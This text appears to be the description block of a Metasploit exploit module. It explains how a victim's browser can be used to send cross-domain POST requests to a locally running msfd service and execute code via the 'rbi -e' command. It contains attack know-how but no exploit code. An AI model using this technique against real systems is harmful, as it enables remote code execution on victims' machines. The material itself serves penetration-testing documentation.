      Metasploit's msfd-service makes it possible to get a msfconsole-like
      interface over a TCP socket. This module connects to the msfd-socket
      through the victim's browser.

      To execute msfconsole-commands in JavaScript from a web application,
      this module places the payload in the POST-data. These POST-requests
      can be sent cross-domain and can therefore be sent to localhost on the
      victim's machine. The msfconsole-command to execute code is 'rbi -e
      "CODE"'.

      Exploitation when the browser is running on Windows is unreliable and
      the exploit is only usable when IE is used and the quiet-flag has been
      passed to msf-daemon.
